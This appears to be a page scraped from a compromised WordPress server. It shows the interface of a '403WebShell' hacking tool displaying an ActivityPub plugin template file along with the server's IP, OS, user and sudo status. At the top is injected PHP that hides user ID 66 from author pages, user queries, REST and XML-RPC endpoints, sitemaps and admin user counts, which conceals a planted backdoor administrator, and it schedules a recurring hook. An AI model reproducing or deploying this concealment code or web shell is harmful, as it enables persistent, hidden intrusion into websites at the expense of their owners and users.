add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/templates/post-preview.php
<?php
/**
 * ActivityPub Post Preview template.
 *
 * @package Activitypub
 */

/*
 * The Fediverse Preview is an authoring tool, not a public view. Refuse to render
 * it for logged-out visitors as a backstop, independent of how the request routed
 * here — so a soft-deleted draft's preview can never be served to the public.
 */
if ( ! \is_user_logged_in() ) {
	\wp_die(
		\esc_html__( 'You need to be logged in to preview this post.', 'activitypub' ),
		403
	);
}

$post        = \get_post(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
$transformer = \Activitypub\Transformer\Factory::get_transformer( $post );

if ( \is_wp_error( $transformer ) ) {
	\wp_die(
		esc_html( $transformer->get_error_message() ),
		404
	);
}

\wp_register_style( 'activitypub-post-preview', ACTIVITYPUB_PLUGIN_URL . '/assets/css/activitypub-post-preview.css', array(), ACTIVITYPUB_PLUGIN_VERSION );

$object = $transformer->to_object();
$user   = $transformer->get_actor_object();

$has_images = false;
$video      = false;
$audio      = false;
$layout     = 'layout-1';

foreach ( $object->get_attachment() as $attachment ) {
	if ( isset( $attachment['mediaType'] ) ) {
		$media_type = strtok( $attachment['mediaType'], '/' );

		switch ( $media_type ) {
			case 'image':
				$has_images = true;
				$layout     = 'layout-' . count( wp_list_filter( $object->get_attachment(), array( 'type' => 'Image' ) ) );
				break 2;
			case 'video':
				$video = $attachment;
				break 2;
			case 'audio':
				$audio = $attachment;
				break 2;
		}
	}
}

?>
<DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title><?php echo esc_html( $object->get_name() ); ?></title>
		<?php wp_print_styles( 'activitypub-post-preview' ); ?>
	</head>
	<body>
		<div class="columns">
			<aside class="sidebar">
				<input type="search" disabled="disabled" placeholder="<?php esc_html_e( 'Search', 'activitypub' ); ?>" />
				<div>
					<div class="fake-image"></div>
					<div>
						<div class="name">
							████ ██████
						</div>
						<div class="webfinger">
							@█████@██████
						</div>
					</div>
				</div>
				<textarea rows="10" cols="50" disabled="disabled" placeholder="<?php esc_html_e( 'What\'s up', 'activitypub' ); ?>"></textarea>
			</aside>
			<main>
				<h1 class="column-header">
					Home
				</h1>
				<article>
					<address>
						<img src="<?php echo esc_url( $user->get_icon()['url'] ); ?>" alt="<?php echo esc_attr( $user->get_name() ); ?>" />
						<div>
							<div class="name">
								<?php echo esc_html( $user->get_name() ); ?>
							</div>
							<div class="webfinger">
								<?php echo esc_html( '@' . $user->get_webfinger() ); ?>
							</div>
						</div>
					</address>
					<div class="content">
						<?php if ( 'Article' === $object->get_type() && $object->get_name() ) : ?>
							<h2><?php echo esc_html( $object->get_name() ); ?></h2>
						<?php endif; ?>
						<?php
						$content_to_display = 'Article' === $object->get_type() ? $object->get_summary() : $object->get_content();

						// Avoid captions making it through wp_kses.
						$content_to_display = preg_replace( '/<figure.*?>.*?<\/figure>/s', '', $content_to_display );

						echo wp_kses( $content_to_display, ACTIVITYPUB_MASTODON_HTML_SANITIZER );
						?>
					</div>
					<?php if ( $object->get_attachment() ) : ?>
					<div class="attachments <?php echo \esc_attr( $layout ); ?>">
						<?php
						if ( $has_images ) :
							foreach ( $object->get_attachment() as $attachment ) :
								if ( 'Image' === $attachment['type'] ) :
									?>
									<img src="<?php echo esc_url( $attachment['url'] ); ?>" alt="<?php echo esc_attr( $attachment['name'] ?? '' ); ?>" />
									<?php
								endif;
							endforeach;
						elseif ( $video ) :
							?>
							<video controls src="<?php echo esc_url( $video['url'] ); ?>" title="<?php echo esc_attr( $video['name'] ?? '' ); ?>"></video>
							<?php
						elseif ( $audio ) :
							?>
							<audio controls src="<?php echo esc_url( $audio['url'] ); ?>" title="<?php echo esc_attr( $audio['name'] ?? '' ); ?>"></audio>
							<?php
						endif;
						?>
					</div>
					<?php endif; ?>
					<?php if ( $object->get_tag() ) : ?>
					<div class="tags">
						<?php foreach ( $object->get_tag() as $hashtag ) : ?>
							<?php if ( 'Hashtag' === $hashtag['type'] ) : ?>
								<a href="<?php echo esc_url( $hashtag['href'] ); ?>"><?php echo esc_html( $hashtag['name'] ); ?></a>
							<?php endif; ?>
						<?php endforeach; ?>
					</div>
					<?php endif; ?>
				</article>
			</main>
			<aside class="sidebar">
				<h1>⁂ Fediverse</h1>
				<ul>
					<li>████████</li>
					<li>███████████</li>
					<li>██████████</li>
					<li>█████████</li>
					<li>███████</li>
					<li>████████</li>
					<li>████████████</li>
					<li>████████████</li>
					<li>██████████</li>
					<li>████████████</li>
				</ul>
				<hr />
				<ul>
					<li>███████████</li>
					<li>██████████████</li>
					<li>█████████</li>
				</ul>
				<hr />
				<ul>
					<li>██████████</li>
				</ul>
			</aside>
		</div>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit